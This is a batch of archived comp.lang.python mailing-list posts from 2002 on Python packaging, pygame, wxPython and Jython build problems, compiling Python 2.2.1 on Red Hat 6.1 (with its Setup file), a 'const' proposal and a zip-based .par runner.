__init__.py >> decides which platform its running on and imports * from a platform >> dependant source file. > So it puts the platform dependent code into the common namespace > "pyserial"? yes. the implementation is in the file serial.serialwin32 or serial.serialposix. the aproriate one gets mapped on "serial" on "import serial" so that the user just uses serial and doesn't need to care which platform hes running on (i.e. serial.Serial(0) opens the first serial port, no matter which implementation is working at the moment) > I'm curious to know where I can find general information about how to > build packages so that I can put "mypackage" in a "mypackage" dir and > expect "import mypackage" to work with it's objects in the "mypackage" > namespace (or is the "from mypackage import *" the canonical way to do > this?). To me "from mypackage import mypackage" is clumsy. I can see > "from mypackage import mysubpackage" though... you could also have renamed fumble.py to __init__.py and put that in the subdir. (__init__.py populates the module's namespace which is named after the directory) the user should not care if the import was from a file or from a directory. because of that the files __init__.py and __all__.py are used to emulate the behaviour of a singel file module. chris -- Chris <cliechti at gmx.net> From friedl_markus at hotmail.com Thu May 23 12:12:23 2002 From: friedl_markus at hotmail.com (Markus Friedl) Date: Thu, 23 May 2002 16:12:23 +0000 Subject: PNG transparency problem Message-ID: <F120Q9WF5knBLq1f33A00000ebc@hotmail.com> Hi... I have a little problem with using PNG images and hope anybody could help me... I need to use a PNGs alpha channel but it actually behaves a bit strange... here is what I do... - setting up video mode like this: if pygame.display.mode_ok(1024, 768, pygame.FULLSCREEN, 32): common.mainScreen = pygame.display.set_mode(1024, 768, pygame.FULLSCREEN, 32) else: sys.exit() - I then load a png image and create a surface: lightSurface = pygame.image.load(os.path.join("resources", "images", "lights.png")).convert() - then I blit mainSurface.blit(lightSurface, (0,0)) - and update pygame.display.update() the problem is if I use "convert()" for better performance when loading the PNG I lose the alpha information and get a surface with a white background. If I do not use "convert()" it works.... well seems like the video mode is not compatible to the image format... Any ideas???? THANKS already in advance! _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com From kragen at pobox.com Wed May 15 17:17:39 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 17:17:39 -0400 Subject: compile error in building wxPython References: <3CE29730.946349BD@millfilm.co.uk> Message-ID: <831ycd5cwc.fsf@panacea.canonical.org> Eric Texier <erict at millfilm.co.uk> writes: > % python setup.py build [...] > Preparing GLCANVAS... > Usage: wx-config [--prefix[=DIR]] [--exec-prefix[=DIR]] [--version] > [--libs] [--cppflags] [--cflags] [--cxxflags] > [--cc] [--cxx] [--ld] > > wx-config returns configuration information about the installed > version of wxWindows. It may be used to query its version and > installation directories and also retrieve the C and C++ compilers > and linker which were used for its building and the corresponding > flags. > Preparing OGL... [...] > src/helpers.cpp: In function `PyObject *wxPyMake_wxObject (wxObject *, > bool)': > src/helpers.cpp:318: no matching function for call to > `wxEvtHandler::GetClientObject ()' > src/helpers.cpp:339: no matching function for call to > `wxEvtHandler::SetClientObject (wxPyClientData *&)' [...] I don't know much about wxWindows or wxPython, but it appears that you're building with a different version of wxWindows than wxPython expects, probably an older one. Could it be that the wx-config in your PATH is not the one for the right version of wxWindows? From aahz at pythoncraft.com Wed May 15 16:40:41 2002 From: aahz at pythoncraft.com (Aahz) Date: 15 May 2002 16:40:41 -0400 Subject: PDF creation starting from TIFF files References: <pkyE8.60372$zW3.858025@news1.tin.it> Message-ID: <abuh49$okd$1@panix1.panix.com> In article <pkyE8.60372$zW3.858025 at news1.tin.it>, dix <lucaf_lucaf at FILTROhotmail.com> wrote: > >I would like to know if anyone of you has already solved this need: >I have to code an open-source python application that takes as input several >tiff files and convert them in pdf format creating a single pdf file >(page1.tif, page2.tif, page3.tif,....pageN.tif into SingleDocument.pdf). >The conversion to pdf is not enough, I need only the combining of the N >files into a single pdf. >I would like to use just free tools and libraries. Don't know the precise mechanism, but combining libraries from the following two URLs should get you what you want: http://www.reportlab.com/ (PDF generation) http://www.pythonware.com/products/pil/ (Image manipulation) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From tom at studentuniverse.com Wed May 22 18:18:31 2002 From: tom at studentuniverse.com (Russo, Tom) Date: Wed, 22 May 2002 18:18:31 -0400 Subject: jython problem Message-ID: <AC310CEA8E38D611BE2F00D0B74A0DD60730D2@sumailb01.studentuniverse.com> Hi Mark, > > I am having a problem using java jars. > you may have more luck posting to the jython-specific list: Jython-users mailing list Jython-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/jython-users _t > The example is for jakarta-poi-1.5.0-FINAL-20020506.jar > > 1. I renamed jakarta-poi-1.5.0-FINAL-20020506.jar to poi.jar. > > 2. I modified registry, python path: > > python.path = .;g:\\poi\\build\\poi.jar\\org\\apache\\poi > > as per warning during installation. > > 3. Run Jython, and see what happens: > > C:\>jython > Jython 2.1 on java1.3.1 (JIT: null) > Type "copyright", "credits" or "license" for more information. > >>> import org.apache.poi as poi > >>> dir(poi) > ['__name__', 'dev', 'hpsf', 'hssf', 'poifs', 'util'] > >>> dir(poi.hssf) > ['__name__', 'dev', 'eventmodel', 'model', 'record', > 'usermodel', 'util'] > >>> dir(poi.hssf.usermodel) > ['HSSFCell', 'HSSFCellStyle', 'HSSFColorConstants', 'HSSFDataFormat', > 'HSSFDateUtil', 'HSSFErrorConstants', 'HSSFFont', 'HSSFRow', > 'HSSFSheet', 'HSSFWorkbook', > '__name__'] > >>> x=poi.hssf.usermodel.HSSFWorkbook() > Traceback (innermost last): > File "<console>", line 1, in ? > AttributeError: java package 'org.apache.poi.hssf.usermodel' has no > attribute 'HSSFWorkbook' > >>> > > > Why is this failing? Is there any way to fix it? I have encountered > the same problem with other jars. > > If I import jdk standard libs, everything works fine. > > ?? > > thx > > Mark > > -- > http://mail.python.org/mailman/listinfo/python-list > From huaiyu at gauss.almadan.ibm.com Mon May 20 13:25:25 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Mon, 20 May 2002 17:25:25 +0000 (UTC) Subject: Does Python need "const" ? (Re: PEP 218 Re: ANN: set-0.1 mod ule available) References: <mailman.1021901673.27858.python-list@python.org> Message-ID: <slrnaeicc4.ql.huaiyu@gauss.almadan.ibm.com> Gustavo Cordova <gcordova at hebmex.com> wrote: >> [Huaiyu Zhu] >> > # const reference to mutable object >> > const a = "abc" >> > # forbids a = "xyz" >> > # allows b = a; a += "uvw"; which would set b to "abcuvw". >> >> Presumably, you mean: >> >> > # allows b = a; b += "uvw"; which would set b to "abcuvw". >> I meant what I wrote, but both are equally correct: a and b refer to the same object. However, you missed my paragraph immediately preceeding the examples: > To illustrate the idea, I'll give some examples, assuming that all things > are mutable a priori without the 'const' keyword, which is not true today. > Suppose we use prefix 'const' to refer to names and postfix 'const' to refer > to objects, we could say That is, in the examples, everything (including strings and numbers) is assumed to be mutable unless used with the keyword 'const'. >This seems quite contradictory: > >You intend "const" to forbid such things as "a = 'xyz'" once >it's been binded to "a = 'abc'". But, you say it must permit >"a += 'xyz'" so that a will end up as 'abcxyz'. In these examples, which let me emphasize again is NOT today's python behavior, "a = 'abc'" would bind a to a mutable string object whose content is initialized to 'abc'. It has a method += that could change its content to 'abcxyz'. In contrast, an "'abc' const" object would not allow such change. >But, strings are immutable objects, so a += operation will >effectively bind "a" to an diffrent object, an operation >more like: > > a = "abc" + "xyz" > >How do you plan to attack the immutable object "problem"? There would be two flavors of strings, mutable and immutable. In-place operators will not rebind mutable objects. My understanding is that mutable strings are already present in Python - but not exposed to the user space. Presumably for mutable objects an "in-place assignment" operator would also be handy: const a = 'abc' b = a a = 'xyz' # not allowed a := 'xyz' # change object content in place print b # prints 'xyz' To avoid further unnecessary confusion, let me clarify that - this is not current Python behavior - it is not a proposal for change - it is only intended to facilitate the discussion about the role of mutability in many existing problems. - the syntax is not used for any purpose other than this discussion. Huaiyu From gerhard at bigfoot.de Wed May 29 04:30:57 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 29 May 2002 10:30:57 +0200 Subject: Python @ Education: What are your problems? In-Reply-To: <3CF48E09.8C331FEA@gmx.de> References: <3CF48E09.8C331FEA@gmx.de> Message-ID: <20020529083057.GA4191@lilith.my-fqdn.de> * Ingo Linkweiler <i.linkweiler at gmx.de> [2002-05-29 10:15 +0200]: > Hello, > > are you using python for teaching programing? > > I am just writing a diploma paper about python and want to know your > experiences with python. [...] I'd also ask on the Python Edu-SIG mailing list. That's where your target audience probably hangs out. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From peter at engcorp.com Mon May 6 23:56:49 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 23:56:49 -0400 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> Message-ID: <3CD75081.317D7A5B@engcorp.com> "Stuart D. Gathman" wrote: > > I've run into my very first situation where python is not "fast enough". I > am using the sgmllib module to parse HTML attachments in a milter. The Other than finding that it's a male fish, I'm having trouble finding a definition for that word. What's a milter? Aren't there parsers already implemented in C ala expat which have Python wrappers for this stuff? In the Vaults, I found these: http://py.vaults.ca/apyllo.py?find=sgml -Peter From matthew.russell at securetrading.com Tue May 21 09:33:23 2002 From: matthew.russell at securetrading.com (Matt Russell) Date: 21 May 2002 06:33:23 -0700 Subject: Compiling python2.2.1 on redHat 6.1 - doesn't work Message-ID: <bb06817.0205210533.d8d5ffb@posting.google.com> Hi, I have been attempting to compile python 2.2.1 (compiled from source) Machine info: Red Hat Linux release 6.1 (Cartman) GCC: Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) python: [GCC egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)] on linux2 Type "copyright", "credits" or "license" for more information. C Libraries : glibc-2.1.2-11 glibc-devel-2.1.2-11 libc-5.3.12-31 ./configure works fine for me, I have attached the Setup file if anyone is interested in the options that I have selected. this fails to compile python at during the make : gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -I. -I./Include -DHAVE_CONFIG_ H -c ./Modules/threadmodule.c -o Modules/thr eadmodule.o gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -I. -I./Include -DHAVE_CONFIG_ H -c ./Modules/signalmodule.c -o Modules/sig nalmodule.o gcc -DNDEBUG -g -O3 -Wall -Wstrict-prototypes -I. -I./Include -DHAVE_CONFIG_ H -c ./Modules/posixmodule.c -o Modules/posi xmodule.o ./Modules/posixmodule.c: In function `posix_nice': ./Modules/posixmodule.c:1270: warning: implicit declaration of function `getpriority' ./Modules/posixmodule.c:1270: `PRIO_PROCESS' undeclared (first use in this function) ./Modules/posixmodule.c:1270: (Each undeclared identifier is reported only once ./Modules/posixmodule.c:1270: for each function it appears in.) make: *** [Modules/posixmodule.o] Error Anyone got any ideas? please??! we can't upgrade our systems to a newer version of RedHat because we want to keep the same kernel/c librarise as we have legacy devices which rely upon the existing C libraries and kernel shipped with 6.1 thanks in advance, Matt Modules/Seutup file follows: # -*- makefile -*- # The file Setup is used by the makesetup script to construct the files # Makefile and config.c, from Makefile.pre and config.c.in, # respectively. The file Setup itself is initially copied from # Setup.dist; once it exists it will not be overwritten, so you can edit # Setup to your heart's content. Note that Makefile.pre is created # from Makefile.pre.in by the toplevel configure script. # (VPATH notes: Setup and Makefile.pre are in the build directory, as # are Makefile and config.c; the *.in and *.dist files are in the source # directory.) # Each line in this file describes one or more optional modules. # Modules enabled here will not be compiled by the setup.py script, # so the file can be used to override setup.py's behavior. # Lines have the following structure: # # <module> ... [<sourcefile> ...] [<cpparg> ...] [<library> ...] # # <sourcefile> is anything ending in .c (.C, .cc, .c++ are C++ files) # <cpparg> is anything starting with -I, -D, -U or -C # <library> is anything ending in .a or beginning with -l or -L # <module> is anything else but should be a valid Python # identifier (letters, digits, underscores, beginning with non-digit) # # (As the makesetup script changes, it may recognize some other # arguments as well, e.g. *.so and *.sl as libraries. See the big # case statement in the makesetup script.) # # Lines can also have the form # # <name> = <value> # # which defines a Make variable definition inserted into Makefile.in # # Finally, if a line contains just the word "*shared*" (without the # quotes but with the stars), then the following modules will not be # included in the config.c file, nor in the list of objects to be # added to the library archive, and their linker options won't be # added to the linker options, but rules to create their .o files and # their shared libraries will still be added to the Makefile, and # their names will be collected in the Make variable SHAREDMODS. This # is used to build modules as shared libraries. (They can be # installed using "make sharedinstall", which is implied by the # toplevel "make install" target.) (For compatibility, # *noconfig* has the same effect as *shared*.) # # In addition, *static* reverses this effect (negating a previous # *shared* line). # NOTE: As a standard policy, as many modules as can be supported by a # platform should be present. The distribution comes with all modules # enabled that are supported by most platforms and don't require you # to ftp sources from elsewhere. # Some special rules to define PYTHONPATH. # Edit the definitions below to indicate which options you are using. # Don't add any whitespace or comments! # Directories where library files get installed. # DESTLIB is for Python modules; MACHDESTLIB for shared libraries. DESTLIB=$(LIBDEST) MACHDESTLIB=$(BINLIBDEST) # NOTE: all the paths are now relative to the prefix that is computed # at run time! # Standard path -- don't edit. # No leading colon since this is the first entry. # Empty since this is now just the runtime prefix. DESTPATH= # Site specific path components -- should begin with : if non-empty SITEPATH= # Standard path components for test modules TESTPATH= # Path components for machine- or system-dependent modules and shared libraries MACHDEPPATH=:plat-$(MACHDEP) # Path component for the Tkinter-related modules # The TKPATH variable is always enabled, to save you the effort. TKPATH=:lib-tk COREPYTHONPATH=$(DESTPATH)$(SITEPATH)$(TESTPATH)$(MACHDEPPATH)$(TKPATH) PYTHONPATH=$(COREPYTHONPATH) # The modules listed here can't be built as shared libraries for # various reasons; therefore they are listed here instead of in the # normal order. # This only contains the minimal set of modules required to run the # setup.py script in the root of the Python source tree. posix posixmodule.c # posix (UNIX) system calls _sre _sre.c # Fredrik Lundh's new regular expressions new newmodule.c # Tommy Burnette's 'new' module # The rest of the modules listed in this file are all commented out by # default. Usually they can be detected and built as dynamically # loaded modules by the new setup.py script added in Python 2.1. If # you're on a platform that doesn't support dynamic loading, want to # compile modules statically into the Python binary, or need to # specify some odd set of compiler switches, you can uncomment the # appropriate lines below. # ====================================================================== # The Python symtable module depends on .h files that setup.py doesn't track _symtable symtablemodule.c # The SGI specific GL module: GLHACK=-Dclear=__GLclear #gl glmodule.c cgensupport.c -I$(srcdir) $(GLHACK) -lgl -lX11 # Pure module. Cannot be linked dynamically. # -DWITH_QUANTIFY, -DWITH_PURIFY, or -DWITH_ALL_PURE #WHICH_PURE_PRODUCTS=-DWITH_ALL_PURE #PURE_INCLS=-I/usr/local/include #PURE_STUBLIBS=-L/usr/local/lib -lpurify_stubs -lquantify_stubs #pure puremodule.c $(WHICH_PURE_PRODUCTS) $(PURE_INCLS) $(PURE_STUBLIBS) # Uncommenting the following line tells makesetup that all following # modules are to be built as shared libraries (see above for more # detail; also note that *static* reverses this effect): #*shared* # GNU readline. Unlike previous Python incarnations, GNU readline is # now incorporated in an optional module, configured in the Setup file # instead of by a configure script switch. You may have to insert a # -L option pointing to the directory where libreadline.* lives, # and you may have to change -ltermcap to -ltermlib or perhaps remove # it, depending on your system -- see the GNU readline instructions. # It's okay for this to be a shared library, too. readline readline.c -lreadline -ltermcap # Modules that should always be present (non UNIX dependent): #array arraymodule.c # array objects #cmath cmathmodule.c # -lm # complex math library functions math mathmodule.c # -lm # math library functions, e.g. sin() #struct structmodule.c # binary structure packing/unpacking time timemodule.c # -lm # time operations and variables operator operator.c # operator.add() and similar goodies #_weakref _weakref.c # basic weak reference support #_codecs _codecsmodule.c # access to the builtin codecs and codec registry #_testcapi _testcapimodule.c # Python C API test module unicodedata unicodedata.c # static Unicode character database #_locale _localemodule.c # access to ISO C locale support # Modules with some UNIX dependencies -- on by default: # (If you have a really backward UNIX, select and socket may not be # supported...) fcntl fcntlmodule.c # fcntl(2) and ioctl(2) pwd pwdmodule.c # pwd(3) grp grpmodule.c # grp(3) errno errnomodule.c # posix (UNIX) errno values select selectmodule.c # select(2); not on ancient System V # Memory-mapped files (also works on Win32). mmap mmapmodule.c # Dynamic readlines xreadlines xreadlinesmodule.c # for socket(2), without SSL support. _socket socketmodule.c # Socket module compiled with SSL support; you must comment out the other # socket line above, and possibly edit the SSL variable: SSL=/usr/local/ssl _socket socketmodule.c \ -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \ -L$(SSL)/lib -lssl -lcrypto # The crypt module is now disabled by default because it breaks builds # on many systems (where -lcrypt is needed), e.g. Linux (I believe). # # First, look at Setup.config; configure may have set this for you. crypt cryptmodule.c -lcrypt # crypt(3); needs -lcrypt on some systems # Some more UNIX dependent modules -- off by default, since these # are not supported by all UNIX systems: #nis nismodule.c -lnsl # Sun yellow pages -- not everywhere termios termios.c # Steen Lumholt's termios module resource resource.c # Jeremy Hylton's rlimit interface # Multimedia modules -- off by default. # These don't work for 64-bit platforms!!! # These represent audio samples or images as strings: #audioop audioop.c # Operations on audio samples #imageop imageop.c # Operations on images #rgbimg rgbimgmodule.c # Read SGI RGB image files (but coded portably) # The md5 module implements the RSA Data Security, Inc. MD5 # Message-Digest Algorithm, described in RFC 1321. The necessary files # md5c.c and md5.h are included here. md5 md5module.c md5c.c # The sha module implements the SHA checksum algorithm. # (NIST's Secure Hash Algorithm.) #sha shamodule.c # The mpz module interfaces to the GNU Multiple Precision library. # You need to ftp the GNU MP library. # The GMP variable must point to the GMP source directory. # This was originally written and tested against GMP 1.2 and 1.3.2. # It has been modified by Rob Hooft to work with 2.0.2 as well, but I # haven't tested it recently. # A compatible MP library unencombered by the GPL also exists. It was # posted to comp.sources.misc in volume 40 and is widely available from # FTP archive sites. One URL for it is: # ftp://gatekeeper.dec.com/.b/usenet/comp.sources.misc/volume40/fgmp/part01.Z #GMP=/ufs/guido/src/gmp #mpz mpzmodule.c -I$(GMP) $(GMP)/libgmp.a # SGI IRIX specific modules -- off by default. # These module work on any SGI machine: # *** gl must be enabled higher up in this file *** #fm fmmodule.c $(GLHACK) -lfm -lgl # Font Manager #sgi sgimodule.c # sgi.nap() and a few more # This module requires the header file # /usr/people/4Dgifts/iristools/include/izoom.h: #imgfile imgfile.c -limage -lgutil -lgl -lm # Image Processing Utilities # These modules require the Multimedia Development Option (I think): #al almodule.c -laudio # Audio Library #cd cdmodule.c -lcdaudio -lds -lmediad # CD Audio Library #cl clmodule.c -lcl -lawareaudio # Compression Library #sv svmodule.c yuvconvert.c -lsvideo -lXext -lX11 # Starter Video # The FORMS library, by Mark Overmars, implements user interface # components such as dialogs and buttons using SGI's GL and FM # libraries. You must ftp the FORMS library separately from # ftp://ftp.cs.ruu.nl/pub/SGI/FORMS. It was tested with FORMS 2.2a. # NOTE: if you want to be able to use FORMS and curses simultaneously # (or both link them statically into the same binary), you must # compile all of FORMS with the cc option "-Dclear=__GLclear". # The FORMS variable must point to the FORMS subdirectory of the forms # toplevel directory: #FORMS=/ufs/guido/src/forms/FORMS #fl flmodule.c -I$(FORMS) $(GLHACK) $(FORMS)/libforms.a -lfm -lgl # SunOS specific modules -- off by default: #sunaudiodev sunaudiodev.c # A Linux specific module -- off by default; this may also work on # some *BSDs. #linuxaudiodev linuxaudiodev.c # George Neville-Neil's timing module: timing timingmodule.c # The _tkinter module. # # The command for _tkinter is long and site specific. Please # uncomment and/or edit those parts as indicated. If you don't have a # specific extension (e.g. Tix or BLT), leave the corresponding line # commented out. (Leave the trailing backslashes in! If you # experience strange errors, you may want to join all uncommented # lines and remove the backslashes -- the backslash interpretation is # done by the shell's "read" command and it may not be implemented on # every system. # *** Always uncomment this (leave the leading underscore in!): # _tkinter _tkinter.c tkappinit.c -DWITH_APPINIT \ # *** Uncomment and edit to reflect where your Tcl/Tk libraries are: # -L/usr/local/lib \ # *** Uncomment and edit to reflect where your Tcl/Tk headers are: # -I/usr/local/include \ # *** Uncomment and edit to reflect where your X11 header files are: # -I/usr/X11R6/include \ # *** Or uncomment this for Solaris: # -I/usr/openwin/include \ # *** Uncomment and edit for Tix extension only: # -DWITH_TIX -ltix8.1.8.2 \ # *** Uncomment and edit for BLT extension only: # -DWITH_BLT -I/usr/local/blt/blt8.0-unoff/include -lBLT8.0 \ # *** Uncomment and edit for PIL (TkImaging) extension only: # (See http://www.pythonware.com/products/pil/ for more info) # -DWITH_PIL -I../Extensions/Imaging/libImaging tkImaging.c \ # *** Uncomment and edit for TOGL extension only: # -DWITH_TOGL togl.c \ # *** Uncomment and edit to reflect your Tcl/Tk versions: # -ltk8.2 -ltcl8.2 \ # *** Uncomment and edit to reflect where your X11 libraries are: # -L/usr/X11R6/lib \ # *** Or uncomment this for Solaris: # -L/usr/openwin/lib \ # *** Uncomment these for TOGL extension only: # -lGL -lGLU -lXext -lXmu \ # *** Uncomment for AIX: # -lld \ # *** Always uncomment this; X11 libraries to link with: # -lX11 # Lance Ellinghaus's modules: #rotor rotormodule.c # enigma-inspired encryption syslog syslogmodule.c # syslog daemon interface # Curses support, requring the System V version of curses, often # provided by the ncurses library. e.g. on Linux, link with -lncurses # instead of -lcurses; on SunOS 4.1.3, insert -I/usr/5include # -L/usr/5lib before -lcurses). # # First, look at Setup.config; configure may have set this for you. #_curses _cursesmodule.c -lcurses -ltermcap # Wrapper for the panel library that's part of ncurses and SYSV curses. #_curses_panel _curses_panel.c -lpanel -lncurses # Generic (SunOS / SVR4) dynamic loading module. # This is not needed for dynamic loading of Python modules -- # it is a highly experimental and dangerous device for calling # *arbitrary* C functions in *arbitrary* shared libraries: #dl dlmodule.c # Modules that provide persistent dictionary-like semantics. You will # probably want to arrange for at least one of them to be available on # your machine, though none are defined by default because of library # dependencies. The Python module anydbm.py provides an # implementation independent wrapper for these; dumbdbm.py provides # similar functionality (but slower of course) implemented in Python. # The standard Unix dbm module has been moved to Setup.config so that # it will be compiled as a shared library by default. Compiling it as # a built-in module causes conflicts with the pybsddb3 module since it # creates a static dependency on an out-of-date version of db.so. # # First, look at Setup.config; configure may have set this for you. #dbm dbmmodule.c # dbm(3) may require -lndbm or similar # Anthony Baxter's gdbm module. GNU dbm(3) will require -lgdbm: # # First, look at Setup.config; configure may have set this for you. gdbm gdbmmodule.c -I/usr/local/include -L/usr/local/lib -lgdbm # Berkeley DB interface. # # This requires the Berkeley DB code, see # ftp://ftp.cs.berkeley.edu/pub/4bsd/db.1.85.tar.gz # # Edit the variables DB and DBPORT to point to the db top directory # and the subdirectory of PORT where you built it. # # (See http://electricrain.com/greg/python/bsddb3/ for an interface to # BSD DB 3.x.) # Note: If a db.h file is found by configure, bsddb will be enabled # automatically via Setup.config.in. It only needs to be enabled here # if it is not automatically enabled there; check the generated # Setup.config before enabling it here. #DB=/depot/sundry/src/berkeley-db/db.1.85 #DBPORT=$(DB)/PORT/irix.5.3 #bsddb bsddbmodule.c -I$(DBPORT)/include -I$(DBPORT) $(DBPORT)/libdb.a # Helper module for various ascii-encoders binascii binascii.c # Fred Drake's interface to the Python parser parser parsermodule.c # Digital Creations' cStringIO and cPickle #cStringIO cStringIO.c cPickle cPickle.c # Lee Busby's SIGFPE modules. # The library to link fpectl with is platform specific. # Choose *one* of the options below for fpectl: # For SGI IRIX (tested on 5.3): #fpectl fpectlmodule.c -lfpe # For Solaris with SunPro compiler (tested on Solaris 2.5 with SunPro C 4.2): # (Without the compiler you don't have -lsunmath.) #fpectl fpectlmodule.c -R/opt/SUNWspro/lib -lsunmath -lm # For other systems: see instructions in fpectlmodule.c. #fpectl fpectlmodule.c ... # Test module for fpectl. No extra libraries needed. #fpetest fpetestmodule.c # Andrew Kuchling's zlib module. # This require zlib 1.1.3 (or later). # See http://www.cdrom.com/pub/infozip/zlib/ #zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz # Interface to the Expat XML parser # # Expat is written by James Clark and must be downloaded separately # (see below). The pyexpat module was written by Paul Prescod after a # prototype by Jack Jansen. # # The Expat dist includes Windows .lib and .dll files. Home page is at # http://www.jclark.com/xml/expat.html, the current production release is # always ftp://ftp.jclark.com/pub/xml/expat.zip. # # EXPAT_DIR, below, should point to the expat/ directory created by # unpacking the Expat source distribution. # # Note: the expat build process doesn't yet build a libexpat.a; you can # do this manually while we try convince the author to add it. To do so, # cd to EXPAT_DIR, run "make" if you have not done so, then run: # # ar cr libexpat.a xmltok/*.o xmlparse/*.o # #EXPAT_DIR=/usr/local/src/expat #pyexpat pyexpat.c -I$(EXPAT_DIR)/xmlparse -L$(EXPAT_DIR) -lexpat # Example -- included for reference only: # xx xxmodule.c # Another example -- the 'xxsubtype' module shows C-level subtyping in action xxsubtype xxsubtype.c From gustav at morpheus.demon.co.uk Fri May 24 10:03:59 2002 From: gustav at morpheus.demon.co.uk (Paul Moore) Date: Fri, 24 May 2002 16:03:59 +0200 Subject: Add .par functionality (like Java .jar) References: <3CEBAA0E.20006@bigfoot.com> <d6vnp38f.fsf@morpheus.demon.co.uk> <3CEE355A.2090403@bigfoot.com> Message-ID: <u1oxr6cf.fsf@morpheus.demon.co.uk> Johann H?chtl <big.john at bigfoot.com> writes: > I think you mean package the main .py- file with all the other modules > which are now in a zip file together and let the main.py file care > about it's imports. > > IMHO this is bad design as the startup.py has to care whether is is > loading it's modules from the directory (and relying on standard > python mechanism) or from a python-zip package. No it doesn't. Just add the zip file to sys.path. That's easy, and can be done in the driver code. > The consequence is that already python(.exe) has to have the knowledge > to inspect the archive and see if there is a startup-script in it. As I said, to make this "built in" python.exe would need to know about the concept of "executable archives", just like java.exe knows about executable jarfiles. But it's trivial to write a module (which would have to be installed for this to work, obviously...) which encapsulates the process, and which can be run via the -c argument to python.exe. Here's a proof of concept implementation: --- put this in par.__init__.py somewhere on sys.path... """Support Python Archive (par) files This module provides basic support for executable "archives" of Python code and associated data. Python archive file format: Python archive files are basically just zip files. The only "special" aspect is that the file must have a "main.py" file which is the entry point to the archive. Usage: python -c "import par; par.run()" parfile arg arg arg... """ import zipfile as _zipfile import sys as _sys import os as _os def run(parfile = None): """Run a par file. Use sys.argv to get a filename if none is given.""" # Get the name of the archive, and shift sys.argv one place # to remove the "-c" entry. Special case for run being passed # no filename. If a filename is passed, don't change sys.argv. if parfile is None: parfile = _sys.argv[1] del _sys.argv[0] # Register the parfile import hook (all the work is done on import) import par.importer # Install the parfile at the start of sys.path _sys.path.insert(0, parfile) # Get the entry point as metadata, and the content of the entry point # Then run the entry point in the top level namespace main = _zipfile.ZipFile(parfile).read("main.py") main = main.replace("\r", "") runcode(main, _os.path.join(parfile, "main.py")) def runcode(code, filename): """Compile and run code, as if it came from filename, in the toplevel namespace""" toplevel = _sys._getframe() while toplevel.f_back: toplevel = toplevel.f_back codeobj = compile(code, filename, "exec") exec codeobj in toplevel.f_globals, toplevel.f_locals ---------------------------------------------------- This code relies on a par.importer module, which is just an import hook (using Gordon McMillan's iu.py import hook package) to allow zipfiles as part of sys.path. When this is supported natively (Python 2.3) the par.importer module is no longer needed, and you have a simple 35-line (or so) module. > I am a python beginner and i don't yet know if it would be a problem > to name this file __init__.py like packages in a directory. That sounds reasonable. As you can see, the name is hard-coded in the package above. You could do all sorts of things, such as having a MANIFEST file containing the name of the startup file, just like Java does. But that's trivial details... > That's already near at the goal, but it's not self-contained. You have > to put this line into a unix semi-executable +x or create a shortcut > in a GUI. But you have to do that with JAR files, too!!! OS-level magic to make particular filetypes executable, and the command line to run to execute them, is highly system-dependent (filetype associations on Windows, binfmt_misc magic on Linux, whatever else...) If you care that much, write a custom executable and concatenate it onto the front of the zipfile. The zip format copes with this, and many executable formats (certainly Windows, and I believe Linux too) don't mind. But that involves C coding, which is too hard for an evening's quick hack :-) > Thank's a lot for your explanations. I am still a Python > beginner. After a year of language (re-)search I think I finally ended > up with Python and I'm happy that I didn't get stuck with Java .... No problem. Like many things with Python, the reason that there is no "standard" way of doing this sort of thing is that it's pretty trivial to put something together for your own use, but almost impossible to persuade the rest of the community that your 10-line hack is so much better than theirs as to be acceptable as a "standard" :-) The PEP process should be good for this sort of thing, but it does need a fairly committed champion to push anything through. Heck, maybe I'll try pushing this one, just to see if I can work out how to make the process smoother... :-) Paul. From lumber at jack.com Sat May 4 13:57:37 2002 From: lumber at jack.com (Lumberjack) Date: 4 May 2002 17:57:37 GMT Subject: Slight irritation with lumberjacks! :-) References: <mailman.1019657853.14965.python-list@python.org> <Xns9203BA9D99E65lumberjack@216.148.53.85> <mailman.1020525076.2821.python-list@python.org> Message-ID: <Xns92046F9143DA8lumberjack@216.148.53.83> pinard at iro.umontreal.ca (Fran?ois Pinard) wrote: > Who is that `Lumberjack' boy? Maybe someone evaded from the Perl > newsgroup, and now looking for another niche to flame all around? I > long feared to see the Python community infested by such snakes, but I > presume they are just inescapable in the long run, sigh! Food for kill > files! :-) OK, done! Pity; he went from being foolish to becoming a fool. Someone inform the miscreant that lumberjack has no time for Perl fools and has another possible idiom to solve his problem (which he will now never see): 0; Setup() try: Process() finally: Cleanup() Or pick some other expression than zero as a place holder. From marklists at mceahern.com Thu May 2 12:10:07 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 2 May 2002 11:10:07 -0500 Subject: [PEP] matching and mismatching In-Reply-To: <3CD17107.A862ED1B@aspextechnology.com> Message-ID: <NCBBLFCOHHDIKCAFGCFBGEOKKNAA.marklists@mceahern.com> [Luke Kenneth Casson] > the idea: a function/operator similar to map and reduce _or_ a keyword > similar to "in", such that: > > for x in ([1,3,2,5,9] matching lambda x:x > 2): > print x > will output: > 3 > 5 > 9 What's wrong with using list comprehensions? E.g., >>> nums = range(1, 11) >>> odds = [x for x in nums if x % 2] >>> evens = [x for x in nums if not (x % 2)] >>> nums [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] >>> odds [1, 3, 5, 7, 9] >>> 